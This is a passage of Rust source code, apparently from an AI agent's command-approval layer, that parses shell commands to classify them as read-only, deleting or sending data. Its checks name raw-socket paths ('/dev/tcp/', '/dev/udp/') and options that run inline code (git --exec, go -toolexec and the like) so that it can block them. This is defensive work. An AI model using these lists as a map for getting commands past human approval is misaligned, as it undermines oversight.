1359 .find(|words| {
1360 words
1361 .iter()
1362 .find(|word| !is_env_assignment(word))
1363 .is_some_and(|program| !matches!(basename(program), "cd" | "pushd" | "popd"))
1364 })
1365 .unwrap_or_default();
1366 let mut words = first.iter().skip_while(|word| is_env_assignment(word));
1367 let Some(program) = words.next() else {
1368 return "a command".to_string();
1369 };
1370 let program = match basename(program) {
1371 "for" | "while" | "until" | "select" => return "a shell loop".to_string(),
1372 wrapper if WRAPPERS.contains(&wrapper) => words
1373 .find(|word| !word.starts_with('-'))
1374 .map(String::as_str),
1375 name => Some(name),
1376 };
1377 program
1378 .map(basename)
1379 .filter(|name| {
1380 !name.is_empty()
1381 && name
1382 .chars()
1383 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
1384 })
1385 .map_or_else(|| "a command".to_string(), str::to_string)
1386}
1387
1388pub fn command_card(line: &str, title: Option<String>) -> aidaemon_core::ApprovalCard {
1395 let effects = command_effects(line);
1396 let impact = if effects.deletes {
1397 Some(aidaemon_core::HighImpact::Deletes {
1398 targets: effects.delete_targets.unwrap_or_default(),
1399 })
1400 } else if sends_remote_write(line) {
1401 Some(aidaemon_core::HighImpact::Sends)
1402 } else {
1403 None
1404 };
1405 aidaemon_core::ApprovalCard {
1406 impact,
1407 ..aidaemon_core::ApprovalCard::new(aidaemon_core::CardAction::Command {
1408 line: crate::sanitize::redact_command_secrets(line),
1409 title,
1410 looks_inside: looked_inside(line),
1411 })
1412 }
1413}
1414
1415const FOLDER_LISTERS: &[&str] = &["ls", "tree", "du", "find", "stat"];
1418
1419pub fn looked_inside(command: &str) -> Vec<String> {
1428 if command_effects(command).deletes || scan(command).writes_file {
1429 return Vec::new();
1430 }
1431 let folders = std::cell::RefCell::new(Vec::<String>::new());
1432 let reads_only = every_segment(command, &|program, args| {
1433 let ok = match program {
1434 "cd" => true,
1435 "ddev" => ddev_query_ok(args),
1436 _ => is_program_observation(program, args),
1437 };
1438 if ok && FOLDER_LISTERS.contains(&program) {
1439 let mut folders = folders.borrow_mut();
1440 for operand in lister_operands(program, args) {
1441 if let Some(name) = folder_name(operand)
1442 && !folders.contains(&name)
1443 {
1444 folders.push(name);
1445 }
1446 }
1447 }
1448 ok
1449 });
1450 if reads_only {
1451 folders.into_inner()
1452 } else {
1453 Vec::new()
1454 }
1455}
1456
1457fn lister_operands<'a>(program: &str, args: &'a [String]) -> Vec<&'a str> {
1461 let mut operands = Vec::new();
1462 let mut iter = args.iter();
1463 while let Some(arg) = iter.next() {
1464 if program == "find" && (arg.starts_with('-') || matches!(arg.as_str(), "(" | "!")) {
1465 break;
1466 }
1467 if matches!(
1468 (program, arg.as_str()),
1469 ("tree", "-L" | "-I" | "-P") | ("du", "-d")
1470 ) {
1471 iter.next();
1472 continue;
1473 }
1474 if !arg.starts_with('-') {
1475 operands.push(arg.as_str());
1476 }
1477 }
1478 operands
1479}
1480
1481fn folder_name(operand: &str) -> Option<String> {
1483 let path = operand.trim_end_matches('/');
1484 if path.is_empty()
1485 || path.starts_with('~')
1486 || path
1487 .chars()
1488 .any(|c| matches!(c, '$' | '*' | '?' | '[' | '{'))
1489 {
1490 return None;
1491 }
1492 let name = if path.starts_with('/') {
1493 path.rsplit('/').next()?
1494 } else {
1495 path.split('/')
1496 .find(|part| !part.is_empty() && *part != ".")?
1497 };
1498 (!matches!(name, "" | "." | "..")).then(|| name.to_string())
1499}
1500
1501fn reads_only_local_sites(program: &str, args: &[String]) -> bool {
1504 let spec = match program {
1505 "curl" => &CURL,
1506 "wget" => &WGET,
1507 _ => return false,
1508 };
1509 let Some(parsed) = parse_options(spec, args) else {
1510 return false;
1511 };
1512 if parsed
1513 .values
1514 .iter()
1515 .any(|(_, value)| value.contains("%output{"))
1516 {
1517 return false;
1518 }
1519 let urls: Vec<&String> = parsed
1520 .positionals
1521 .iter()
1522 .chain(
1523 parsed
1524 .values
1525 .iter()
1526 .filter(|(role, _)| *role == OptionValue::Url)
1527 .map(|(_, value)| value),
1528 )
1529 .collect();
1530 !urls.is_empty()
1531 && urls
1532 .iter()
1533 .all(|url| strict_url(url).is_some() && crate::web::local_site_key(url).is_some())
1534}
1535
1536fn every_segment(command: &str, ok: &dyn Fn(&str, &[String]) -> bool) -> bool {
1543 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
1544 return false;
1545 }
1546 let scanned = scan(&command.replace("\\\n", " "));
1548 if scanned.hidden_syntax || !scanned.input_targets.is_empty() {
1551 return false;
1552 }
1553 let Some(commands) = simple_commands(&scanned) else {
1554 return false;
1555 };
1556 !commands.is_empty()
1557 && commands.iter().all(|tokens| {
1558 let tokens = without_display_env(tokens);
1559 let Some(program) = tokens.first() else {
1560 return false;
1561 };
1562 !is_env_assignment(program)
1563 && program_path_ok(program)
1564 && ok(basename(program), &tokens[1..])
1565 })
1566}
1567
1568fn program_path_ok(program: &str) -> bool {
1570 !program.contains('/')
1571 || program
1572 .rsplit_once('/')
1573 .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir))
1574}
1575
1576#[derive(Debug, Clone, PartialEq, Eq)]
1578enum ShellCommand {
1579 Simple(Vec<String>),
1581 Subshell(Vec<ShellCommand>),
1583 For {
1585 var: String,
1586 words: Vec<String>,
1587 body: Vec<ShellCommand>,
1588 },
1589}
1590
1591#[derive(Debug, Clone, PartialEq, Eq)]
1593enum Piece {
1594 Words(Vec<String>),
1596 Open,
1597 Close,
1598 Separator(char),
1600}
1601
1602#[derive(Debug, Clone, Copy, PartialEq, Eq)]
1604enum ListEnd {
1605 Input,
1606 Subshell,
1607 Loop,
1608}
1609
1610const UNMODELLED_KEYWORDS: &[&str] = &[
1613 "if", "then", "elif", "else", "fi", "while", "until", "case", "esac", "select", "function",
1614 "{", "}", "!", "[[", "]]", "do", "in", "coproc",
1615];
1616
1617struct ShellParser {
1618 pieces: Vec<Piece>,
1619 pos: usize,
1620}
1621
1622impl ShellParser {
1623 fn list(&mut self, end: ListEnd) -> Option<Vec<ShellCommand>> {
1624 let mut commands = Vec::new();
1625 let mut ended = false;
1627 loop {
1628 let Some(piece) = self.pieces.get(self.pos).cloned() else {
1629 return (end == ListEnd::Input).then_some(commands);
1630 };
1631 match piece {
1632 Piece::Separator(_) => {
1633 ended = false;
1634 self.pos += 1;
1635 }
1636 Piece::Close => {
1637 if end != ListEnd::Subshell {
1638 return None;
1639 }
1640 self.pos += 1;
1641 return Some(commands);
1642 }
1643 _ if ended => return None,
1644 Piece::Open => {
1645 self.pos += 1;
1646 let inner = self.list(ListEnd::Subshell)?;
1647 if matches!(self.pieces.get(self.pos), Some(Piece::Words(words)) if words.is_empty())
1650 {
1651 self.pos += 1;
1652 }
1653 commands.push(ShellCommand::Subshell(inner));
1654 ended = true;
1655 }
1656 Piece::Words(words) => {
1657 let first = words.first()?.as_str();
1658 if first == "done" {
1659 if end != ListEnd::Loop || words.len() != 1 {
1660 return None;
1661 }
1662 self.pos += 1;
1663 return Some(commands);
1664 }
1665 if first == "for" {
1666 commands.push(self.for_loop(&words)?);
1667 } else if UNMODELLED_KEYWORDS.contains(&first)
1668 || without_display_env(&words)
1669 .first()
1670 .map_or(first, String::as_str)
1671 .contains('$')
1672 {
1673 return None;
1677 } else {
1678 self.pos += 1;
1679 commands.push(ShellCommand::Simple(words));
1680 }
1681 ended = true;
1682 }
1683 }
1684 }
1685 }
1686
1687 fn for_loop(&mut self, header: &[String]) -> Option<ShellCommand> {
1690 let var = header.get(1)?;
1691 let valid_name = var
1692 .chars()
1693 .next()
1694 .is_some_and(|c| c == '_' || c.is_ascii_alphabetic())
1695 && var.chars().all(|c| c == '_' || c.is_ascii_alphanumeric());
1696 if !valid_name || header.get(2).map(String::as_str) != Some("in") {
1697 return None;
1698 }
1699 let words = header[3..].to_vec();
1700 self.pos += 1;
1701 let mut separated = false;
1702 while let Some(Piece::Separator(sep)) = self.pieces.get(self.pos) {
1703 if !matches!(sep, ';' | '\n') {
1704 return None;
1705 }
1706 separated = true;
1707 self.pos += 1;
1708 }
1709 let Some(Piece::Words(opening)) = self.pieces.get(self.pos).cloned() else {
1710 return None;
1711 };
1712 if !separated || opening.first().map(String::as_str) != Some("do") {
1713 return None;
1714 }
1715 if opening.len() == 1 {
1716 self.pos += 1;
1717 } else {
1718 self.pieces[self.pos] = Piece::Words(opening[1..].to_vec());
1719 }
1720 let body = self.list(ListEnd::Loop)?;
1721 Some(ShellCommand::For {
1722 var: var.clone(),
1723 words,
1724 body,
1725 })
1726 }
1727}
1728
1729fn parse_shell(scanned: &Scan) -> Option<Vec<ShellCommand>> {
1733 let mut pieces = Vec::new();
1734 for (index, segment) in scanned.segments.iter().enumerate() {
1735 if !segment.trim().is_empty() {
1736 let words = strip_redirections(shell_words::split(segment).ok()?);
1737 pieces.push(Piece::Words(words));
1738 }
1739 if let Some(&separator) = scanned.separators.get(index) {
1740 pieces.push(match separator {
1741 '(' => Piece::Open,
1742 ')' => Piece::Close,
1743 other => Piece::Separator(other),
1744 });
1745 }
1746 }
1747 for (index, piece) in pieces.iter().enumerate() {
1749 if matches!(piece, Piece::Words(words) if words.is_empty())
1750 && !matches!(index.checked_sub(1).map(|i| &pieces[i]), Some(Piece::Close))
1751 {
1752 return None;
1753 }
1754 }
1755 ShellParser { pieces, pos: 0 }.list(ListEnd::Input)
1756}
1757
1758fn substitute_var(token: &str, var: &str, value: &str) -> String {
1760 let braced = format!("${{{var}}}");
1761 let bare = format!("${var}");
1762 let mut out = String::with_capacity(token.len());
1763 let mut rest = token;
1764 while let Some(index) = rest.find('$') {
1765 out.push_str(&rest[..index]);
1766 let tail = &rest[index..];
1767 if let Some(after) = tail.strip_prefix(&braced) {
1768 out.push_str(value);
1769 rest = after;
1770 } else if let Some(after) = tail
1771 .strip_prefix(&bare)
1772 .filter(|after| !after.starts_with(|c: char| c == '_' || c.is_ascii_alphanumeric()))
1773 {
1774 out.push_str(value);
1775 rest = after;
1776 } else {
1777 out.push('$');
1778 rest = &tail[1..];
1779 }
1780 }
1781 out.push_str(rest);
1782 out
1783}
1784
1785fn bind_var(commands: &[ShellCommand], var: &str, value: &str) -> Vec<ShellCommand> {
1787 commands
1788 .iter()
1789 .map(|command| match command {
1790 ShellCommand::Simple(tokens) => ShellCommand::Simple(
1791 tokens
1792 .iter()
1793 .map(|token| substitute_var(token, var, value))
1794 .collect(),
1795 ),
1796 ShellCommand::Subshell(inner) => ShellCommand::Subshell(bind_var(inner, var, value)),
1797 ShellCommand::For {
1798 var: inner_var,
1799 words,
1800 body,
1801 } => ShellCommand::For {
1802 var: inner_var.clone(),
1803 words: words
1804 .iter()
1805 .map(|word| substitute_var(word, var, value))
1806 .collect(),
1807 body: if inner_var == var {
1809 body.clone()
1810 } else {
1811 bind_var(body, var, value)
1812 },
1813 },
1814 })
1815 .collect()
1816}
1817
1818fn flatten_commands(commands: &[ShellCommand], out: &mut Vec<Vec<String>>) -> Option<()> {
1824 for command in commands {
1825 match command {
1826 ShellCommand::Simple(tokens) => out.push(tokens.clone()),
1827 ShellCommand::Subshell(inner) => flatten_commands(inner, out)?,
1828 ShellCommand::For { var, words, body } => {
1829 if words.is_empty() {
1830 flatten_commands(body, out)?;
1831 }
1832 for word in words {
1833 if word.is_empty()
1834 || word.starts_with('-')
1835 || word
1836 .chars()
1837 .any(|c| c.is_whitespace() || matches!(c, '$' | '`' | '"' | '\''))
1838 {
1839 return None;
1840 }
1841 flatten_commands(&bind_var(body, var, word), out)?;
1842 }
1843 }
1844 }
1845 }
1846 Some(())
1847}
1848
1849fn simple_commands(scanned: &Scan) -> Option<Vec<Vec<String>>> {
1853 let mut out = Vec::new();
1854 flatten_commands(&parse_shell(scanned)?, &mut out)?;
1855 Some(out)
1856}
1857
1858fn runs_inline_code(program: &str, args: &[String]) -> bool {
1861 let option = |names: &[&str]| {
1862 args.iter().any(|arg| {
1863 names.iter().any(|name| match arg.strip_prefix(name) {
1864 Some(_) if name.len() == 2 => true,
1866 Some(rest) => rest.is_empty() || rest.starts_with('='),
1867 None => false,
1868 })
1869 })
1870 };
1871 match program {
1872 "git" => {
1875 option(&["-c", "--config-env", "--exec"])
1876 || (args.first().is_some_and(|sub| sub == "rebase") && option(&["-x"]))
1877 }
1878 "cargo" => option(&["--config"]),
1879 "make" => option(&["--eval", "-E"]),
1880 "go" => option(&["-toolexec", "--toolexec", "-exec", "--exec"]),
1881 "python" | "python3" | "node" => args.first().is_some_and(|script| {
1883 script == "-" || script == "/dev/stdin" || script.starts_with("/dev/fd/")
1884 }),
1885 _ => false,
1886 }
1887}
1888
1889fn local_work_args_ok(program: &str, args: &[String]) -> bool {
1890 if runs_inline_code(program, args) {
1891 return false;
1892 }
1893 if let Some((_, subcommands)) = LOCAL_WORK_SUBCOMMANDS
1894 .iter()
1895 .find(|(name, _)| *name == program)
1896 {
1897 let rest = match program {
1900 "cargo" => args
1901 .iter()
1902 .skip_while(|arg| arg.starts_with('+'))
1903 .collect::<Vec<_>>(),
1904 _ => args.iter().collect(),
1905 };
1906 return rest
1907 .first()
1908 .is_some_and(|subcommand| subcommands.contains(&subcommand.as_str()));
1909 }
1910 match program {
1911 "python" | "python3" | "node" => args.first().is_some_and(|arg| !arg.starts_with('-')),
1913 "find" => !args
1914 .iter()
1915 .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())),
1916 "ddev" => ddev_query_ok(args),
1917 _ if LOCAL_WORK_PROGRAMS.contains(&program) => true,
1918 _ if OBSERVATION_PROGRAMS.contains(&program) => observation_args_ok(program, args),
1919 _ if in_powershell_table(POWERSHELL_LOCAL_WORK, program)
1920 || in_powershell_table(POWERSHELL_DELETES, program) =>
1921 {
1922 powershell_args_plain(args)
1923 }
1924 _ => is_powershell_observation(program, args),
1925 }
1926}
1927
1928fn basename(program: &str) -> &str {
1929 let name = program.rsplit('/').next().unwrap_or(program);
1930 if cfg!(windows)
1933 && let Some(stem) = name
1934 .len()
1935 .checked_sub(4)
1936 .filter(|&cut| name.is_char_boundary(cut) && name[cut..].eq_ignore_ascii_case(".exe"))
1937 .map(|cut| &name[..cut])
1938 {
1939 return stem;
1940 }
1941 if cfg!(windows)
1944 && [
1945 "curl",
1946 "wget",
1947 "iwr",
1948 "irm",
1949 "invoke-webrequest",
1950 "invoke-restmethod",
1951 ]
1952 .iter()
1953 .any(|alias| alias.eq_ignore_ascii_case(name))
1954 {
1955 return "invoke-webrequest";
1956 }
1957 name
1958}
1959
1960fn is_display_env_assignment(token: &str) -> bool {
1965 is_env_assignment(token)
1966 && token.split_once('=').is_some_and(|(name, _)| {
1967 matches!(
1968 name,
1969 "TZ" | "LANG"
1970 | "LANGUAGE"
1971 | "LC_ALL"
1972 | "COLUMNS"
1973 | "LINES"
1974 | "NO_COLOR"
1975 | "CLICOLOR"
1976 | "TERM"
1977 ) || (name.starts_with("LC_") && name[3..].chars().all(|ch| ch.is_ascii_uppercase()))
1978 })
1979}
1980
1981fn without_display_env(tokens: &[String]) -> &[String] {
1984 let start = tokens
1985 .iter()
1986 .take_while(|token| is_display_env_assignment(token))
1987 .count();
1988 &tokens[start..]
1989}
1990
1991fn is_env_assignment(token: &str) -> bool {
1992 token.split_once('=').is_some_and(|(name, _)| {
1993 !name.is_empty()
1994 && name.chars().enumerate().all(|(index, ch)| {
1995 ch == '_' || ch.is_ascii_alphanumeric() && (index > 0 || !ch.is_ascii_digit())
1996 })
1997 })
1998}
1999
2000struct Scan {
2002 segments: Vec<String>,
2003 unsafe_syntax: bool,
2007 hidden_syntax: bool,
2012 writes_file: bool,
2014 input_targets: Vec<String>,
2018 output_targets: Vec<String>,
2021 separators: Vec<char>,
2025}
2026
2027fn redirect_target(chars: &[char], mut j: usize) -> String {
2028 while chars.get(j).is_some_and(|c| c.is_whitespace()) {
2029 j += 1;
2030 }
2031 chars[j.min(chars.len())..]
2032 .iter()
2033 .take_while(|c| !c.is_whitespace() && !matches!(c, ';' | '|' | '&' | '(' | ')' | '<' | '>'))
2034 .collect()
2035}
2036
2037fn scan(command: &str) -> Scan {
2038 let command = shell_text(command);
2039 let chars: Vec<char> = command.chars().collect();
2040 let mut segments = Vec::new();
2041 let mut cur = String::new();
2042 let mut unsafe_syntax = false;
2043 let mut hidden_syntax = false;
2044 let mut writes_file = false;
2045 let mut input_targets = Vec::new();
2046 let mut output_targets = Vec::new();
2047 let mut separators = Vec::new();
2048 let (mut in_single, mut in_double) = (false, false);
2049 let mut i = 0;
2050 while i < chars.len() {
2051 let c = chars[i];
2052 if in_single {
2053 hidden_syntax |= c == '\n';
2054 in_single = c != '\'';
2055 cur.push(c);
2056 i += 1;
2057 continue;
2058 }
2059 let next = chars.get(i + 1).copied();
2060 match c {
2061 '\\' => {
2062 cur.push(c);
2063 if let Some(n) = next {
2064 cur.push(n);
2065 }
2066 i += 2;
2067 continue;
2068 }
2069 '\n' => {
2070 unsafe_syntax = true;
2071 segments.push(std::mem::take(&mut cur));
2072 separators.push(c);
2073 }
2074 '\'' if !in_double => {
2075 in_single = true;
2076 cur.push(c);
2077 }
2078 '"' => {
2079 in_double = !in_double;
2080 cur.push(c);
2081 }
2082 '`' => {
2084 unsafe_syntax = true;
2085 hidden_syntax = true;
2086 cur.push(c);
2087 }
2088 '$' if next == Some('(') || (next == Some('\'') && !in_double) => {
2089 unsafe_syntax = true;
2090 hidden_syntax = true;
2091 cur.push(c);
2092 }
2093 _ if in_double => cur.push(c),
2094 '#' if cur.chars().last().is_none_or(|p| p.is_whitespace()) => {
2095 unsafe_syntax = true;
2096 hidden_syntax = true;
2097 cur.push(c);
2098 }
2099 ';' | '(' | ')' => {
2100 if c != ';' {
2101 unsafe_syntax = true;
2102 }
2103 segments.push(std::mem::take(&mut cur));
2104 separators.push(c);
2105 }
2106 '|' | '&' if !(c == '&' && next == Some('>')) => {
2107 segments.push(std::mem::take(&mut cur));
2108 separators.push(c);
2109 }
2110 '&' => cur.push(c),
2111 '<' => {
2112 let target = redirect_target(&chars, i + 1);
2113 let word: String = cur
2116 .chars()
2117 .rev()
2118 .take_while(|c| !c.is_whitespace())
2119 .collect();
2120 let numbered = !word.is_empty() && word.chars().all(|d| d.is_ascii_digit());
2121 if numbered
2122 || matches!(next, Some('<') | Some('(') | Some('>'))
2123 || target.is_empty()
2124 {
2125 unsafe_syntax = true;
2126 hidden_syntax = true;
2127 } else if target != "/dev/null" {
2128 input_targets.push(target);
2129 }
2130 cur.push(c);
2131 }
2132 '>' => {
2133 let mut j = i + 1;
2134 if matches!(chars.get(j), Some('>') | Some('|')) {
2135 j += 1;
2136 }
2137 let mut dup = false;
2138 if chars.get(j) == Some(&'&') {
2139 let word = redirect_target(&chars, j + 1);
2143 let digits = word.trim_end_matches('-');
2144 dup = word == "-"
2145 || (!digits.is_empty()
2146 && digits.chars().all(|d| d.is_ascii_digit())
2147 && word.len() - digits.len() <= 1);
2148 j += 1;
2149 }
2150 if next == Some('(') {
2151 unsafe_syntax = true;
2152 hidden_syntax = true;
2153 } else if !dup {
2154 let target = redirect_target(&chars, j);
2155 if target != "/dev/null" {
2156 writes_file = true;
2157 if !is_standard_stream(&target) {
2158 output_targets.push(target);
2159 }
2160 }
2161 }
2162 cur.extend(&chars[i..j]);
2163 i = j;
2164 continue;
2165 }
2166 _ => cur.push(c),
2167 }
2168 i += 1;
2169 }
2170 if in_single || in_double {
2171 unsafe_syntax = true;
2172 hidden_syntax = true;
2173 }
2174 segments.push(cur);
2175 Scan {
2176 segments,
2177 unsafe_syntax,
2178 hidden_syntax,
2179 writes_file,
2180 input_targets,
2181 output_targets,
2182 separators,
2183 }
2184}
2185
2186fn is_standard_stream(target: &str) -> bool {
2188 matches!(target, "/dev/stdout" | "/dev/stderr")
2189 || target
2190 .strip_prefix("/dev/fd/")
2191 .is_some_and(|fd| !fd.is_empty() && fd.chars().all(|c| c.is_ascii_digit()))
2192}
2193
2194fn is_redirect_word(token: &str) -> bool {
2195 let t = token.trim_start_matches(|c: char| c.is_ascii_digit());
2196 t.starts_with('>') || t.starts_with('<') || t.starts_with("&>")
2197}
2198
2199fn strip_redirections(tokens: Vec<String>) -> Vec<String> {
2202 let mut out = Vec::new();
2203 let mut iter = tokens.into_iter();
2204 while let Some(token) = iter.next() {
2205 if is_redirect_word(&token) {
2206 let bare = token.trim_start_matches(|c: char| c.is_ascii_digit());
2207 if bare.chars().all(|c| matches!(c, '>' | '<' | '&' | '|')) {
2208 iter.next();
2209 }
2210 continue;
2211 }
2212 out.push(token);
2213 }
2214 out
2215}
2216
2217fn is_observation_only(command: &str) -> bool {
2218 is_observation(command, false)
2219}
2220
2221pub fn is_observation_reading_input(command: &str) -> bool {
2226 is_observation(command, true)
2227}
2228
2229fn is_observation(command: &str, allow_input_redirects: bool) -> bool {
2230 let scanned = scan(command);
2231 if (!allow_input_redirects && !scanned.input_targets.is_empty())
2232 || scanned.hidden_syntax
2233 || scanned.separators.contains(&'\n')
2234 || scanned.writes_file
2235 || command.contains("/dev/tcp/")
2236 || command.contains("/dev/udp/")
2237 {
2238 return false;
2239 }
2240 let Some(commands) = simple_commands(&scanned) else {
2241 return false;
2242 };
2243 !commands.is_empty() && commands.iter().all(|tokens| observing_command(tokens))
2244}
2245
2246fn observing_command(tokens: &[String]) -> bool {
2248 let tokens = without_display_env(tokens);
2249 let Some(first) = tokens.first() else {
2250 return false;
2251 };
2252 if is_env_assignment(first) {
2253 return false;
2254 }
2255 let tokens = if first == "command" {
2257 &tokens[1..]
2258 } else {
2259 tokens
2260 };
2261 let Some(program) = tokens.first() else {
2262 return false;
2263 };
2264 let name = basename(program);
2265 program_path_ok(program) && is_program_observation(name, &tokens[1..])
2266}
2267
2268fn tree_args_ok(args: &[String]) -> bool {
2271 let mut iter = args.iter();
2272 while let Some(arg) = iter.next() {
2273 if matches!(arg.as_str(), "-L" | "-I" | "-P") {
2274 if iter.next().is_none() {
2275 return false;
2276 }
2277 } else if let Some(long) = arg.strip_prefix("--") {
2278 if !matches!(long, "noreport" | "dirsfirst") {
2279 return false;
2280 }
2281 } else if let Some(cluster) = arg.strip_prefix('-')
2282 && (cluster.is_empty() || !cluster.chars().all(|c| "adfshDCn".contains(c)))
2283 {
2284 return false;
2285 }
2286 }
2287 true
2288}
2289
2290fn short_cluster_has(arg: &str, letters: &[char]) -> bool {
2291 arg.starts_with('-') && !arg.starts_with("--") && arg.chars().any(|c| letters.contains(&c))
2292}
2293
2294fn date_args_observe(args: &[String]) -> bool {
2297 let is_format = |arg: &String| arg.starts_with('+');
2298 args.iter().filter(|arg| is_format(arg)).count() <= 1
2299 && args.iter().all(|arg| {
2300 is_format(arg)
2301 || matches!(
2302 arg.as_str(),
2303 "-u" | "--utc" | "--universal" | "-R" | "--rfc-email"
2304 )
2305 || arg.starts_with("-I")
2306 || arg == "--iso-8601"
2307 || arg.starts_with("--iso-8601=")
2308 })
2309}
2310
2311fn find_args_observe(args: &[String]) -> bool {
2315 let mut index = 0;
2316 while let Some(arg) = args.get(index) {
2317 match arg.as_str() {
2318 "-exec" | "-execdir" => {
2319 let rest = &args[index + 1..];
2320 let Some(end) = rest
2321 .iter()
2322 .position(|token| matches!(token.as_str(), ";" | "\\;" | "+"))
2323 else {
2324 return false;
2325 };
2326 if end == 0 || !observing_command(&rest[..end]) {
2327 return false;
2328 }
2329 index += end + 2;
2330 }
2331 flag if FIND_MUTATING_FLAGS.contains(&flag) => return false,
2332 _ => index += 1,
2333 }
2334 }
2335 true
2336}
2337
2338fn sysctl_args_read(args: &[String]) -> bool {
2341 args.iter().all(|arg| match arg.strip_prefix('-') {
2342 Some(long) if long.starts_with('-') => {
2343 matches!(long, "-all" | "-values" | "-names")
2344 }
2345 Some(cluster) => {
2346 !cluster.is_empty() && cluster.chars().all(|ch| "naAehNqxbdoX".contains(ch))
2347 }
2348 None => {
2349 !arg.contains('=')
2350 && arg
2351 .chars()
2352 .all(|ch| ch.is_ascii_alphanumeric() || matches!(ch, '.' | '_' | '-'))
2353 }
2354 })
2355}
2356
2357fn top_samples_and_exits(args: &[String]) -> bool {
2360 let positive = |value: Option<&String>| {
2361 value.is_some_and(|value| value.parse::<u32>().is_ok_and(|n| n >= 1))
2362 };
2363 let mac = args
2364 .iter()
2365 .position(|arg| arg == "-l")
2366 .is_some_and(|index| positive(args.get(index + 1)));
2367 let batch = args.iter().any(|arg| arg == "-b" || arg == "-bn1")
2368 && (args.iter().any(|arg| arg == "-bn1")
2369 || args
2370 .iter()
2371 .position(|arg| arg == "-n")
2372 .is_some_and(|index| positive(args.get(index + 1))));
2373 mac || batch
2374}
2375
2376fn is_sleep_duration(arg: &str) -> bool {
2378 let number = arg.strip_suffix(['s', 'm', 'h', 'd']).unwrap_or(arg);
2379 !number.is_empty()
2380 && number.chars().all(|ch| ch.is_ascii_digit() || ch == '.')
2381 && number.parse::<f64>().is_ok_and(f64::is_finite)
2382}
2383
2384fn observation_args_ok(program: &str, args: &[String]) -> bool {
2385 let any = |pred: &dyn Fn(&str) -> bool| args.iter().any(|arg| pred(arg));
2386 match program {
2387 "find" => find_args_observe(args),
2388 "sysctl" => sysctl_args_read(args),
2389 "top" => top_samples_and_exits(args),
2390 "rg" => !any(&|a| {
2391 a == "--pre"
2392 || a.starts_with("--pre=")
2393 || a.starts_with("--pre-glob")
2394 || a.starts_with("--hostname-bin")
2395 || a == "--search-zip"
2396 || short_cluster_has(a, &['z'])
2397 }),
2398 "sort" => !any(&|a| {
2399 a.starts_with("--compress-program")
2400 || a.starts_with("--output")
2401 || short_cluster_has(a, &['o'])
2402 }),
2403 "uniq" => {
2405 args.iter()
2406 .filter(|arg| !arg.starts_with('-') || arg.as_str() == "-")
2407 .count()
2408 < 2
2409 }
2410 "tree" => tree_args_ok(args),
2411 "date" => date_args_observe(args),
2412 "hostname" => args
2414 .iter()
2415 .all(|arg| matches!(arg.as_str(), "-s" | "-f" | "--short" | "--fqdn")),
2416 "sleep" => !args.is_empty() && args.iter().all(|arg| is_sleep_duration(arg)),
2419 "file" => !any(&|a| {
2420 a == "--compile" || a.starts_with("--magic-file") || short_cluster_has(a, &['C', 'm'])
2421 }),
2422 "git" => {
2423 let mut index = 0;
2424 while let Some(arg) = args.get(index).filter(|arg| arg.starts_with('-')) {
2425 if arg == "-C" || arg.starts_with("--git-dir") || arg.starts_with("--work-tree") {
2428 return false;
2429 }
2430 if arg == "-c" || arg.starts_with("--config-env") || arg.starts_with("--exec-path")
2431 {
2432 return false;
2433 }
2434 index += 1;
2435 }
2436 let Some(subcommand) = args.get(index) else {
2437 return false;
2438 };
2439 let rest = &args[index + 1..];
2440 if rest
2441 .iter()
2442 .any(|a| a == "--ext-diff" || a.starts_with("--output") || a == "--textconv")
2443 {
2444 return false;
2445 }
2446 if GIT_OBSERVATION_SUBCOMMANDS.contains(&subcommand.as_str()) {
2447 return true;
2448 }
2449 subcommand == "branch"
2450 && rest.iter().all(|arg| {
2451 matches!(
2452 arg.as_str(),
2453 "--list" | "-a" | "-r" | "-v" | "--show-current"
2454 )
2455 })
2456 }
2457 _ => true,
2458 }
2459}
2460
2461fn substitution_bodies(command: &str) -> Vec<String> {
2464 let chars: Vec<char> = command.chars().collect();
2465 let mut bodies = Vec::new();
2466 let mut in_single = false;
2467 let mut i = 0;
2468 while i < chars.len() {
2469 let c = chars[i];
2470 if c == '\'' {
2471 in_single = !in_single;
2472 } else if !in_single && c == '\\' {
2473 i += 1;
2474 } else if !in_single && c == '$' && chars.get(i + 1) == Some(&'(') {
2475 let mut depth = 1;
2476 let mut j = i + 2;
2477 while j < chars.len() && depth > 0 {
2478 match chars[j] {
2479 '(' => depth += 1,
2480 ')' => depth -= 1,
2481 _ => {}
2482 }
2483 j += 1;
2484 }
2485 let end = if depth == 0 { j - 1 } else { j };
2486 bodies.push(chars[i + 2..end].iter().collect());
2487 } else if !in_single
2488 && c == '`'
2489 && let Some(len) = chars[i + 1..].iter().position(|&x| x == '`')
2490 {
2491 bodies.push(chars[i + 1..i + 1 + len].iter().collect());
2492 i += len + 1;
2493 }
2494 i += 1;
2495 }
2496 bodies
2497}
2498
2499fn expanded_commands(command: &str) -> Vec<Vec<String>> {
2503 let mut out = Vec::new();
2504 collect_commands(command, 0, &mut out);
2505 out
2506}
2507
2508const MAX_DEPTH: usize = 4;
2509
2510fn collect_commands(command: &str, depth: usize, out: &mut Vec<Vec<String>>) {
2511 if depth > MAX_DEPTH {
2512 return;
2513 }
2514 for segment in scan(command).segments {
2515 if segment.trim().is_empty() {
2516 continue;
2517 }
2518 let tokens = shell_words::split(&segment)
2519 .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
2520 push_with_wrappers(strip_redirections(tokens), depth, out);
2521 }
2522 for body in substitution_bodies(command) {
2523 collect_commands(&body, depth + 1, out);
2524 }
2525 for invocation in structural_shell_invocations(command) {
2526 let mut tokens = vec![invocation.program];
2527 tokens.extend(invocation.arguments);
2528 push_with_wrappers(tokens, depth, out);
2529 }
2530}
2531
2532fn push_with_wrappers(mut tokens: Vec<String>, depth: usize, out: &mut Vec<Vec<String>>) {
2533 if depth > MAX_DEPTH || tokens.len() > 64 {
2534 return;
2535 }
2536 while tokens.first().is_some_and(|t| is_env_assignment(t)) {
2537 tokens.remove(0);
2538 }
2539 let Some(first) = tokens.first() else {
2540 return;
2541 };
2542 let program = basename(first).to_string();
2543 out.push(tokens.clone());
2544 if WRAPPERS.contains(&program.as_str()) {
2545 for start in 1..tokens.len() {
2546 push_with_wrappers(tokens[start..].to_vec(), depth + 1, out);
2547 }
2548 }
2549 if program == "find" {
2550 for (index, token) in tokens.iter().enumerate() {
2551 if matches!(token.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir") {
